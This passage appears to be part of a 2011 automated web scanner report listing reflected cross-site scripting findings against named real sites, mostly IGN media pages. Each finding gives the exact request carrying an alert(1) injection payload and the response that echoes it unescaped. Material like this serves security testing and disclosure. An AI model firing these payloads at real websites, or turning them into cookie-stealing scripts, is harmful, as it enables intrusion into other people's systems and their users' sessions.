T523PpVjga2Zb2PL+JBUjU5M7dhtCP66Kf+fT8pAwqk34aJDx1gA0DTwaqnjM74Qi7Z+Vo0W+x3NceW8PSb+7WSB95DSZYCzBeno8V8bPMvygCTWE/j4cd/3IOh/31xLeurMpAJ08m3CRBxNzqDTaa1mONhgYucpeDS0l8Z/gXikSJDTo5InuMqom31ibabgrogWFRTEGsv0T7QbiG/ozHDWPLTECEc0tlRh5QoN6UmLqJOdsio2c8+02h3zDf0rTFsDgjVw2+177S1Sj0QZYjg/iOmE/VBnmfFshkfONmU1MWc+QSJoCH5firGPaFzZNmVpeVedPFaxU/xYisHEVC2bfr98PzgcMWLslzCo+mxFHX32wzP26/nxBopPYLTdS+Ix9mZ6F+RFB4YMVX2P4uxP+pevVka/GmgaPJOwly8YSrYDowubiRwjsJ++wWZegN/5WKXoTAY5ehaixXqOIAFK9; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d73ef70&0&&4d4e2349&4c5cffb70704da9ab1f721e8ae18383d; udm_0=MLv3NTMNLipn3heh/b9KOyi8kgl1JjCvi7+yvgbaHyE7sFa4BxeSDc4zq46WsbrGp+n8+f4B0tYxHsVy0DuRM34PCqRVjHN29k+Zp5/Dal+XBUflPGrQImELjzFT+tCRJf/GXaYF0Zzs/Z2p5biiC1VqPoTwxBfo+f9o94awgHYvDAWsHm7trWRzAxQO+YnKvZIYgkVaH1zGOWva8kDUZwhr6t6jJiWA5uByJEUwJ42rNzkQi13/ltbpndvZxqekDbt+ejUYU7lWvDmy3fpLO6SUTaqh5bGR6HMg2j0TIr9xRSCcuLQzTPtUaNaMeo1xqKOEXm0YTi3OtlJRwJDnbGGjk/Q6NKA4+UZtjRALQkWGwq0EAdBXEFrFrTxuwXVy0rDdRNIfFH+rK/kwOC4E2KqwwTtEllZM5Z6dq9h/mArHfTPq6b/vRSYzlSdhG87tbqARtG1nZ3SzhKJqqxlABqIlhk4A+/b337DlwRir8tBPTn4j3YZqRsou32D7xna+MhLr21wKQlcRGPkuB9/c6u+Mc7R5LVqxbqaKC2EdztxemeOHXDMuvpPQRAxBXGTMQAaoCL30WERdK40/iHWNlfMkC/S8P/iY6EPWhuhXBOGjCxk2qQU4eK4CsAR0F71voXSxCJ2GPs1Rl8s36sMswIUSjxex9gU3TeVsCRvlYJ8d5swBhI1Jepa7z07OWlHSn/Y2lgjFYuH+uVJ4Q2MuWeoxuF4PVQ5eOO84b3ZnxFdlBJa57wgtGIqKIxCm787YtO3jZ3sJs2Eo9y4SKGc+HpbwoUlQ70uJtzefu4qbbVVxwAfJwuVrRXkXaU+LbVansdUqnpvEyMxr6kWZSLoQj1YljXYXSt940F0oSdfb39l/pYOA2rxXGqvfdDEkcyxS+clSnCDg8FgbghKNpG87LINBYiSOWgmcQ4EYpnt/vkaO8oQTnyoJTsu6wTOmFyUm6s2stnqYPJnJv/e9ejy+G28/i94FIVyJk/FO5U0xQsfmV5zVtmD4gYb873/SK3JOQj+bLO+sUkM0OxMSnx6HrGOPvsA3ae+WgYgf4HCaZu3s9Kmj8RZcRS+Wbu9pSeCyjakCh7vaBmG1FGrIqfAXcwuOyp/M/29fZRgd3LIouf41DXYJMhyXzjsRIL2fDdXVs/EevOm8iN2Xj04tNs3MRSyOyU+EjmJf24g/X/oQEK+RO7HDYDOs8e7Rk75xjAwNx0Vc7SJwB3tp2Pf/C/GBMPYeHGDaT1+bst+uFBaAtYhcSem+94uswprJ5+ph/V7Hw7e+jpbF+d9i+7ailgP496KXdbUj64IYcmRkSZc=; rsi_segs_1000000=pUPNJ0+FbxIQlrWd4/Yl71Zb5RAFYVtihCKGAzPSxFvzv3POEiFIUgL/Cl6uSWBLV5cTBi/m6veC5An/zK5P5+YJapXh7t7OamvHVKQY8+jKtLBjQfwrzbS4Fu66WBFGadqLzSL/jMe7YG1VTggdDuFnI7g0AdjCdTKNfqnvovIn8q1rm6XnCgUD+Nf/e3CUV9QrFz2B2W3hmZEkAKxY02BO3iZHb/GvrmlvODXBNcWBdh4XHy3lve6VqMTs4OIAorGjnEFQHT+ko/psNMtHbXeB6U8alhX4/FrxXTrz6BmGCqKVE5J7OMUwGnrJ4gLg0YOHEgWABne/KOTvdt9+tK9BTw==; NETSEGS_G07608=0105974ea67d21e1&G07608&0&4d73f5b7&0&&4d4e15ec&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLsvtbUuJj5nJhG8KUfICfkCKpFxcEq88iHBNLu5EI2jYV6SZcTEFsRJxVmB2SsJUNQF8kwr7PFgjtP5R8bEAmGwwIkd7eSq5+IseewNtFMHDk/TkqNQx83O+Wi2pt/mFBgPQyPnS7DNFoCTUSkzhx6fpnRVMavQ5T9nugKXhZi7pQm6wIAVMf34OQXB1qfIL9ucNMl5JaYdcCvA7uyrCcE9rY+B7ISzXVGdHMxRQTP3apVB0J7PJV1Pq8r/OUOy7gSdWxBCwjsFWogwqgIrxBoWIDlSRhxKKy0U25ud3am8afq5FqG3IOoV5JSjCQIRjCQ9T//pmfEGvZOeIFtBCRix1xDA5kU/BWIU2sx1wf6tVMHOR95VFEC/dNbqHeJVWjT2lYtAtlSofrcj9HEurkDqJ6Vy7M+rWJsQvw3jxq/gPv9o/38ch/yJskBC+ejhAk0mEhgIQQcZckAe2PYQajcVOgexzK+VVCP2PwtSliJj9FR2Z89EKXc6EMD+b07R00xkUN6DcJGyNSAbXFTg2kbl5zbYHMS4k7GtKgjbPfL/ibo3f+pdjEbO5LX5YTEn19IU4QGkEOBzqMSOcYNetUyYb7VoCyOO2TXvJoyoMFMliuyiarvMo57PhjGVg+uNI50wY9sfLIlnHGefYZ9p+0QVOJhFEiuvu2CROWVwM76og+0w4FvJmmqXwOMf4Nxbhf0J+xOpWWL7IoHUGG6XJppgozOpAgzEjCafYIMLnDoTsjs05xzMqYOD7BKM+UiCzrI30t6giLDhDAjSiz2ahmaPcnYDy/WRlf/0JYdvnxQW7wR9WOlfaVYU2lu/AJ9xh6s30A==

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Last-Modified: Mon, 07 Feb 2011 01:02:01 GMT
Cache-Control: max-age=86400, private
Expires: Tue, 08 Feb 2011 01:02:01 GMT
X-Proc-ms: 1
Content-Type: application/javascript;charset=ISO-8859-1
Date: Mon, 07 Feb 2011 01:02:00 GMT
Content-Length: 128

/*
* JavaScript include error:
* The customer code "C07583DB679<SCRIPT>ALERT(1)</SCRIPT>A69BFEAD40B" was not recognized.
*/

3.259. http://landlanss.gfi.com/freeware-network-security-scanner-sm/ [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://landlanss.gfi.com
Path:	/freeware-network-security-scanner-sm/

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 20b24'-alert(1)-'b12a295cd51 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /freeware-network-security-scanner-sm20b24'-alert(1)-'b12a295cd51/ HTTP/1.1
Host: landlanss.gfi.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Content-Type: text/html; charset=UTF-8
Date: Mon, 07 Feb 2011 01:52:35 GMT
Server: TornadoServer/1.0
Content-Length: 2222
Connection: Close

<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Oops (Error 404) - Performable</title>
<style type="text/css">
body {
font-family:"Lucida Gra
...[SNIP]...
<script type="text/javascript">
var _gaq = _gaq || [];
_gaq.push(['_setAccount', 'UA-10161796-3']);
_gaq.push(['_trackPageview', '/errors/landlanss.gfi.com/404/freeware-network-security-scanner-sm20b24'-alert(1)-'b12a295cd51/']);
(function() {
var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-
...[SNIP]...

3.260. http://media.ds.ign.com/media/059/059687/imgs_1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://media.ds.ign.com
Path:	/media/059/059687/imgs_1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload df88e"-alert(1)-"d44670c575 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /media/059/059687/imgs_1.html?df88e"-alert(1)-"d44670c575=1 HTTP/1.1
Host: media.ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:52:43 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:52:43 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2421-1680026917-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:52:43 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043563294v-0n-0mc+1297043563294mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 90292

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Pokemon Black
...[SNIP]...
Guard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://media.ds.ign.com/media/059/059687/imgs_1.html?df88e"-alert(1)-"d44670c575=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.261. http://media.ds.ign.com/media/059/059687/imgs_1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://media.ds.ign.com
Path:	/media/059/059687/imgs_1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f47e5"><script>alert(1)</script>82481e77fa7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /media/059/059687/imgs_1.html?f47e5"><script>alert(1)</script>82481e77fa7=1 HTTP/1.1
Host: media.ds.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:52:42 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:52:42 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26185-1987492748-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:52:41 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043561863v-0n-0mc+1297043561863mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 84870

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Pokemon Black
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://media.ds.ign.com/media/059/059687/imgs_1.html?f47e5"><script>alert(1)</script>82481e77fa7=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.262. http://media.ps3.ign.com/media/143/14324403/imgs_1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://media.ps3.ign.com
Path:	/media/143/14324403/imgs_1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 506ed"><script>alert(1)</script>7e2c06fb2d6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /media/143/14324403/imgs_1.html?506ed"><script>alert(1)</script>7e2c06fb2d6=1 HTTP/1.1
Host: media.ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:52:42 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:52:42 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-24030-863286643-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:52:42 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043562565v-0n-0mc+1297043562565mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 90072

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Killzone 3 Sc
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://media.ps3.ign.com/media/143/14324403/imgs_1.html?506ed"><script>alert(1)</script>7e2c06fb2d6=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.263. http://media.ps3.ign.com/media/143/14324403/imgs_1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://media.ps3.ign.com
Path:	/media/143/14324403/imgs_1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 21339"-alert(1)-"ed039ef01f9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /media/143/14324403/imgs_1.html?21339"-alert(1)-"ed039ef01f9=1 HTTP/1.1
Host: media.ps3.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:52:44 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:52:44 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-14395-1770644616-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:52:43 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043563894v-0n-0mc+1297043563894mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 90119

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Killzone 3 Sc
...[SNIP]...
rd == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://media.ps3.ign.com/media/143/14324403/imgs_1.html?21339"-alert(1)-"ed039ef01f9=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.264. http://media.xbox360.ign.com/media/064/064330/imgs_1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://media.xbox360.ign.com
Path:	/media/064/064330/imgs_1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c95a6"-alert(1)-"450cae54cac was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /media/064/064330/imgs_1.html?c95a6"-alert(1)-"450cae54cac=1 HTTP/1.1
Host: media.xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:53:13 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:53:13 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-27586-994505629-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:12 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043592816v-0n-0mc+1297043592816mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 82837

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Portal 2 Scre
...[SNIP]...
== 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://media.xbox360.ign.com/media/064/064330/imgs_1.html?c95a6"-alert(1)-"450cae54cac=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.265. http://media.xbox360.ign.com/media/064/064330/imgs_1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://media.xbox360.ign.com
Path:	/media/064/064330/imgs_1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5305b"><script>alert(1)</script>9e3eb0522b9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /media/064/064330/imgs_1.html?5305b"><script>alert(1)</script>9e3eb0522b9=1 HTTP/1.1
Host: media.xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:53:11 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:53:11 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c06-15005-184604639-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:11 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043591448v-0n-0mc+1297043591448mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 82906

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Portal 2 Scre
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://media.xbox360.ign.com/media/064/064330/imgs_1.html?5305b"><script>alert(1)</script>9e3eb0522b9=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.266. http://media.xbox360.ign.com/media/070/070921/imgs_1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://media.xbox360.ign.com
Path:	/media/070/070921/imgs_1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9c38a"><script>alert(1)</script>c364807e4db was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /media/070/070921/imgs_1.html?9c38a"><script>alert(1)</script>c364807e4db=1 HTTP/1.1
Host: media.xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:53:06 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:53:06 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-22329-1971660596-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:06 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043586196v-0n-0mc+1297043586196mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 86354

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Marvel Vs. Ca
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://media.xbox360.ign.com/media/070/070921/imgs_1.html?9c38a"><script>alert(1)</script>c364807e4db=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.267. http://media.xbox360.ign.com/media/070/070921/imgs_1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://media.xbox360.ign.com
Path:	/media/070/070921/imgs_1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 443fd"-alert(1)-"b71b59fd1a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /media/070/070921/imgs_1.html?443fd"-alert(1)-"b71b59fd1a=1 HTTP/1.1
Host: media.xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:53:10 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:53:10 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-23694-1318488229-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:10 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043590741v-0n-0mc+1297043590741mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 86300

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Marvel Vs. Ca
...[SNIP]...
== 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://media.xbox360.ign.com/media/070/070921/imgs_1.html?443fd"-alert(1)-"b71b59fd1a=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.268. http://media.xbox360.ign.com/media/080/080342/imgs_1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://media.xbox360.ign.com
Path:	/media/080/080342/imgs_1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 60f7a"><script>alert(1)</script>f8d66e958a2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /media/080/080342/imgs_1.html?60f7a"><script>alert(1)</script>f8d66e958a2=1 HTTP/1.1
Host: media.xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:53:18 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:53:18 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32462-1073119442-5;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:18 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043598660v-0n-0mc+1297043598660mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 83955

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Dragon Age II
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://media.xbox360.ign.com/media/080/080342/imgs_1.html?60f7a"><script>alert(1)</script>f8d66e958a2=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.269. http://media.xbox360.ign.com/media/080/080342/imgs_1.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://media.xbox360.ign.com
Path:	/media/080/080342/imgs_1.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d5bce"-alert(1)-"b53c8365a56 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /media/080/080342/imgs_1.html?d5bce"-alert(1)-"b53c8365a56=1 HTTP/1.1
Host: media.xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:53:21 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:53:21 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2421-1123780770-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:53:21 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043601205v-0n-0mc+1297043601205mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 83897

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Dragon Age II
...[SNIP]...
== 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://media.xbox360.ign.com/media/080/080342/imgs_1.html?d5bce"-alert(1)-"b53c8365a56=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.270. http://movies.ign.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://movies.ign.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2c32f"-alert(1)-"ddc24aa5966 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

